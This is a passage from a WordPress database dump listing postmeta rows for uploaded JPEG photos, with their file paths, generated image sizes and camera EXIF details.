(166,136,'_wp_attached_file','2021/07/IMG_20200224_154618507_HDR-scaled.jpg'),
(167,136,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:45:\"2021/07/IMG_20200224_154618507_HDR-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_154618507_HDR-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_154618507_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_154618507_HDR-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_154618507_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_154618507_HDR-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_154618507_HDR-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_154618507_HDR-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582559178\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"100\";s:13:\"shutter_speed\";s:17:\"0.033333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:30:\"IMG_20200224_154618507_HDR.jpg\";}'),
(168,137,'_wp_attached_file','2021/07/IMG_20200224_154633401-scaled.jpg'),
(169,137,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_154633401-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_154633401-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_154633401-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_154633401-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_154633401-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_154633401-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_154633401-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_154633401-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582559193\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:2:\"64\";s:13:\"shutter_speed\";s:18:\"0.0076923076923077\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_154633401.jpg\";}'),
(170,138,'_wp_attached_file','2021/07/IMG_20200224_154728395-scaled.jpg'),
(171,138,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_154728395-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_154728395-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_154728395-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_154728395-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_154728395-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_154728395-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_154728395-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_154728395-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582559248\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:2:\"64\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_154728395.jpg\";}'),
(172,139,'_wp_attached_file','2021/07/IMG_20200224_155122034-scaled.jpg'),
(173,139,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_155122034-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_155122034-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_155122034-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_155122034-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_155122034-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_155122034-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_155122034-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_155122034-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582559481\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"125\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_155122034.jpg\";}'),
(174,140,'_wp_attached_file','2021/07/IMG_20200224_155208881-scaled.jpg'),
(175,140,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_155208881-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_155208881-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_155208881-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_155208881-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_155208881-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_155208881-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_155208881-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_155208881-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582559528\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"125\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_155208881.jpg\";}'),
(176,141,'_wp_attached_file','2021/07/IMG_20200224_155450057_BURST000_COVER_TOP-scaled.jpg'),
(177,141,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:2560;s:6:\"height\";i:1920;s:4:\"file\";s:60:\"2021/07/IMG_20200224_155450057_BURST000_COVER_TOP-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:53:\"IMG_20200224_155450057_BURST000_COVER_TOP-300x225.jpg\";s:5:\"width\";i:300;s:6:\"height\";i:225;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:54:\"IMG_20200224_155450057_BURST000_COVER_TOP-1024x768.jpg\";s:5:\"width\";i:1024;s:6:\"height\";i:768;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:53:\"IMG_20200224_155450057_BURST000_COVER_TOP-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:53:\"IMG_20200224_155450057_BURST000_COVER_TOP-768x576.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:576;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:55:\"IMG_20200224_155450057_BURST000_COVER_TOP-1536x1152.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:1152;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:55:\"IMG_20200224_155450057_BURST000_COVER_TOP-2048x1536.jpg\";s:5:\"width\";i:2048;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:55:\"IMG_20200224_155450057_BURST000_COVER_TOP-1568x1176.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:1176;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582559689\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:2:\"80\";s:13:\"shutter_speed\";s:17:\"0.016666666666667\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:45:\"IMG_20200224_155450057_BURST000_COVER_TOP.jpg\";}'),
(178,142,'_wp_attached_file','2021/07/IMG_20200224_155450057_BURST001-scaled.jpg'),
(179,142,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:2560;s:6:\"height\";i:1920;s:4:\"file\";s:50:\"2021/07/IMG_20200224_155450057_BURST001-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:43:\"IMG_20200224_155450057_BURST001-300x225.jpg\";s:5:\"width\";i:300;s:6:\"height\";i:225;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:44:\"IMG_20200224_155450057_BURST001-1024x768.jpg\";s:5:\"width\";i:1024;s:6:\"height\";i:768;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:43:\"IMG_20200224_155450057_BURST001-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:43:\"IMG_20200224_155450057_BURST001-768x576.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:576;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:45:\"IMG_20200224_155450057_BURST001-1536x1152.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:1152;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:45:\"IMG_20200224_155450057_BURST001-2048x1536.jpg\";s:5:\"width\";i:2048;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:45:\"IMG_20200224_155450057_BURST001-1568x1176.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:1176;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582559689\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:2:\"80\";s:13:\"shutter_speed\";s:17:\"0.016666666666667\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:35:\"IMG_20200224_155450057_BURST001.jpg\";}'),
(180,143,'_wp_attached_file','2021/07/IMG_20200224_155726969-scaled.jpg'),
(181,143,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_155726969-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_155726969-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_155726969-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_155726969-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_155726969-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_155726969-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_155726969-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_155726969-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582559846\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:2:\"64\";s:13:\"shutter_speed\";s:17:\"0.016666666666667\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_155726969.jpg\";}'),
(182,144,'_wp_attached_file','2021/07/IMG_20200224_155750208-scaled.jpg'),
(183,144,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_155750208-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_155750208-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_155750208-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_155750208-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_155750208-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_155750208-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_155750208-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_155750208-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582559870\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"125\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_155750208.jpg\";}'),
(184,145,'_wp_attached_file','2021/07/IMG_20200224_155838269-scaled.jpg'),
(185,145,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_155838269-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_155838269-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_155838269-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_155838269-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_155838269-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_155838269-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_155838269-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_155838269-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582559918\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:2:\"80\";s:13:\"shutter_speed\";s:5:\"0.025\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_155838269.jpg\";}'),
(186,146,'_wp_attached_file','2021/07/IMG_20200224_160609500-scaled.jpg'),
(187,146,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_160609500-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_160609500-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_160609500-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_160609500-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_160609500-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_160609500-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_160609500-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_160609500-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582560369\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"125\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_160609500.jpg\";}'),
(188,147,'_wp_attached_file','2021/07/IMG_20200224_160743282-scaled.jpg'),
(189,147,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_160743282-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_160743282-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_160743282-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_160743282-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_160743282-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_160743282-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_160743282-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_160743282-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582560463\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"100\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_160743282.jpg\";}'),
(190,148,'_wp_attached_file','2021/07/IMG_20200224_160758336-scaled.jpg'),
